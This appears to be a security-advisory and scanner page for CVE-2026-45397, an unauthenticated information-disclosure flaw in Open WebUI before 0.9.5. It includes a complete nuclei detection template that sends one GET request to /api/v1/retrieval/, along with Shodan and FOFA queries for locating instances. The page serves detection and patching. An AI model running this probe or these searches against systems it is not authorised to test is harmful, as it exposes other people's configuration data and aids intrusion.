Open WebUI < 0.9.5 - Information Disclosure

mediumseverity

5.3CVSS score

0.8%likelihood of exploitation, next 30 days

55%of all CVEs are less likely

Readycheck to confirm it

Open WebUI < 0.9.5 contains an information disclosure vulnerability caused by unauthenticated access to GET /api/v1/retrieval/ endpoint, letting remote attackers retrieve live RAG pipeline configuration without authorization, exploit requires no authentication.

Impact

Remote attackers can access sensitive configuration data without authentication, potentially aiding further attacks.

Fix

Update to version 0.9.5 or later.

How to confirm it

Send: GET {{BaseURL}}/api/v1/retrieval/
Positive when: contains_all(body, "CHUNK_SIZE", "RAG_EMBEDDING_MODEL", "RAG_TEMPLATE") and contains(content_type, "application/json") and status_code == 200

Run it with nuclei: nuclei -id CVE-2026-45397 -u <target>

The full check

id: CVE-2026-45397

info:
  name: Open WebUI < 0.9.5 - Information Disclosure
  author: 0x_Akoko
  severity: medium
  description: |
    Open WebUI < 0.9.5 contains an information disclosure vulnerability caused by unauthenticated access to GET /api/v1/retrieval/ endpoint, letting remote attackers retrieve live RAG pipeline configuration without authorization, exploit requires no authentication.
  impact: |
    Remote attackers can access sensitive configuration data without authentication, potentially aiding further attacks.
  remediation: |
    Update to version 0.9.5 or later.
  reference:
    - https://github.com/open-webui/open-webui/security/advisories/GHSA-65pg-qhhw-mxwg
    - https://github.com/open-webui/open-webui
    - https://nvd.nist.gov/vuln/detail/CVE-2026-45397
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cwe-id: CWE-862
    cve-id: CVE-2026-45397
    epss-score: 0.0075
    epss-percentile: 0.55285
  metadata:
    verified: true
    max-request: 1
    vendor: openwebui
    product: open-webui
    shodan-query: title:"Open WebUI"
    fofa-query: title="Open WebUI"
  tags: cve,cve2026,open-webui,exposure,misconfig

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/retrieval/"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "CHUNK_SIZE", "RAG_EMBEDDING_MODEL", "RAG_TEMPLATE")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from